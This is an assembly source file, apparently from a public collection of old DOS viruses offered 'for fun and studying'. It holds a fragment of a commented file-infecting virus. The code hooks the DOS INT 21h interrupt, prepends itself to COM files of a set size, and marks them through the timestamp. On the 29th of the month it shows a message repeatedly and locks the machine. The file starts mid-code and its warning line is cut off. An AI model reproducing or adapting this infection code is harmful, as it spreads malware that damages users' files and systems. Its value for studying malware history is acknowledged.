highland.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

     push ax                      ;store all registers subject to change
     push bx
     push cx
     push es
     push si
     push di
     push dx
     push ds
     push cs                      ;store the code segment so it can be used
     push cs                      ;to set the ds and es registers
     pop ds                       ;set ds to same as cs
     pop es                       ;set es to same as cs
     mov dx,080h                  ;set dx to offset 080h
     mov ah,01ah                  ;set ah to create DTA
     int 21h                      ;create DTA at 080h (normal DTA area)
     pop ds                       ;set ds to original ds
     pop dx                       ;set dx to original dx (ds:dx is used to 
                                  ;point to the path and filename of the
                                  ;program to be executed)
     push dx                      ;store these values back
     push ds
     xor cx,cx                    ;zero cx
     mov ah,04eh                  ;set ah to search for filename match
     int 21h                      ;search for filename (this is primarily
                                  ;done to setup data in the DTA so that it
                                  ;can be checked easier than making a
                                  ;number of individual calls)
     push es                      ;store es (same as cs)
     pop ds                       ;set ds to same as es and cs
     cmp [byte 087h],'D'          ;check for 'D' as seventh letter in file
     jne j5
     jmp endvirus                 ;if 'D' is 7th letter, dont infect
j5: 
     mov si,offset data3+0100h    ;set source of bytes to compare
     mov di,089h                  ;set destination of bytes to compare
     mov cx,3                     ;number of bytes to compare
     cld                          ;compare forward
     repe cmpsb                   ;compare bytes (check to see if file's
                                  ;extension is COM)
     je j1
     jmp endvirus                 ;not a COM file.  Dont infect
j1:
     mov bx,[word 009ah]          ;set bx to length of file
     cmp bx,1024                  ;is length > 1024?
     jae j2                       ;yes, continue with checks
     jmp endvirus                 ;no, dont infect
j2:
     cmp bx,62000                 ;is length < 62000?
     jbe j3                       ;yes, continue with checks
     jmp endvirus                 ;no, dont infect
j3:
     mov ax,[word 096h]           ;set ax to file's time stamp
     and ax,0000000000011111b     ;clear everything but seconds
     cmp ax,0000000000010100b     ;is seconds = 40?
     jne j4                       ;yes, continue with infection
     mov ah,02ah                  ;no, set ah to get the date
     int 21h                      ;get current system date
     mov cx,21                    ;set cx to 21
     cmp dl,29                    ;is the date the 29th?
     je irritate                  ;yes, continue with irritate
     jmp endvirus                 ;no, let program execute normally


irritate:
     mov dx,offset data5+0100h    ;point dx to irritating message
     mov ah,09h                   ;set ah to write to screen
     int 21h                      ;write message 21 times
     loop irritate
     iret                         ;xfer program control to whatever's on
                                  ;the stack (this almost guarantee's a
                                  ;lockup and a reboot)


j4: 
     mov ax,[word 096h]           ;set ax equal to the file's time stamp
     and ax,1111111111100000b     ;zero the seconds portion
     or ax,0000000000010100b      ;set the seconds = 40
     add bx,0100h                 ;set bx = loc for restore routine (end
                                  ;of file once its in memory)      
     mov [word data1+0100h],bx    ;store this value in the virus
     mov bx,ax                    ;set bx = to adjusted time stamp
     pop ds                       ;get the original ds
     push ds                      ;store this value back
     mov ax,04300h                ;set ax to get the file's attributes
                                  ;ds:dx already points to path/filename
     int 21h                      ;get the files attributes
     push cx                      ;push the attributes
     push bx                      ;push the adjusted time stamp
     xor cx,cx                    ;zero cx(attributes for normal, read/write)
     mov ax,04301h                ;set ax to set file attributes
     int 21h                      ;set files attributes to normal/read/write
     mov ax,03d02h                ;set ax to open file
     int 21h                      ;open file for read/write access
     mov bx,ax                    ;mov file handle to bx
     push cs                      ;push current code segment
     pop ds                       ;and pop into ds (ds=cs)
     mov cx,endcode-begin         ;set cx equal to length of virus
     mov dx,offset endcode+0100h  ;point dx to end of virus in memory
     mov ah,03fh                  ;set ah to read from file
     int 21h                      ;read bytes from beginning of file and
                                  ;store at end of virus.  Read as many bytes
                                  ;as virus is long.
     xor cx,cx                    ;zero cx
     xor dx,dx                    ;zero dx
     mov ax,04200h                ;set ax to move file pointer from begin
     int 21h                      ;mov file pointer to start of file
     mov cx,endcode-begin         ;set cx = length of virus
     mov dx,0100h                 ;point dx to start of virus
     mov ah,040h                  ;set ah to write to file
     int 21h                      ;write virus to start of file
     xor cx,cx                    ;zero cx
     xor dx,dx                    ;zero dx
     mov ax,04202h                ;set ax to move file pointer from end
     int 21h                      ;mov file pointer to end of file
     mov cx,checkinfect-restcode  ;set cx to length of restore routine
     mov dx,offset restcode+0100h ;point dx to start of restore routine
     mov ah,040h                  ;set ah to write to file
     int 21h                      ;write restore routine to end of file
     mov cx,endcode-begin         ;set cx to length of virus (length of code
                                  ;read from beginning of file)
     mov dx,offset endcode+0100h  ;point dx to data read from file
     mov ah,040h                  ;set ah to write to file
     int 21h                      ;write data read from start of file to end
                                  ;of file following restore routine
     pop cx                       ;pop the adjusted time stamp
     mov dx,[word 098h]           ;mov the file date stamp into dx
     mov ax,05701h                ;set ax to write time/date stamp
     int 21h                      ;write time/date stamp to file
     mov ah,03eh                  ;set ah to close file
     int 21h                      ;close the file
     pop cx                       ;pop the original attributes
     pop ds                       ;pop the original ds
     pop dx                       ;pop the original dx
     push dx                      ;push these values back
     push ds
     mov ax,04301h                ;set ax to set file attributes (ds:dx now
                                  ;points to original path/filename)
     int 21h                      ;set the original attributes back to file


endvirus:                         ;virus execution complete. restore original
                                  ;values for INT 21 function
     pop ds
     pop dx
     pop di
     pop si
     pop es
     pop cx
     pop bx
     pop ax


cont:                             ;virus complete.  restore original flags
     popf
     pushf


int21trap:                        ;this calls the original INT 21 routine
     db 09ah                      ;opcode for a far call
     nop                          ;blank area.  the original INT 21 vector
     nop                          ;is copied to this area
     nop
     nop
     push ax                      ;after the original INT 21 routine has
                                  ;completed execution, control is returned
                                  ;to this point 
     push bx
     pushf                        ;push the flags returned from the INT 21
                                  ;routine.  We have to get them in the
                                  ;proper location in the stack when we 
                                  ;return to the calling program
     pop ax                       ;pop the flags
     mov bx,sp                    ;set bx equal to the stack pointer
     mov [word ss:bx+8],ax        ;copy the flags to the proper location in
                                  ;the stack
     pop bx                       ;restore bx
     pop ax                       ;restore ax
     iret                         ;return to calling program


signature:
     db 'dex'


endcode:                          ;this file has been written as if it were
                                  ;a natural infection.  At this point the
                                  ;virus is ended and we are at the restore
                                  ;routine.  Following this is the host code
                                  ;which will be moved back to 0100h.  This
                                  ;file could never actually be a natural 
                                  ;infection however due to its small size
     rep movsb                    ;start of restore routine.  move host back
     push cs                      ;set up to xfer to cs:0100h
     mov ax,0100h
     push ax
     mov ax,cx                    ;zero ax
     ret                          ;host is restored.  xfer to start of host
hoststart:                        ;This is the host program.  It consists
                                  ;merely of a simple message being displayed
     jmp skipdata                 ;jump over message
hostmessage:
     db 'The virus is now resident.$'
skipdata:                
     mov ah,09h                   ;set ah to write to screen
     mov dx,offset hostmessage+0100h
                                  ;point dx to message to display
     int 21h                      ;display message
     mov ah,04ch                  ;set ah to terminate program
     int 21h                      ;terminate program, return to DOS
     END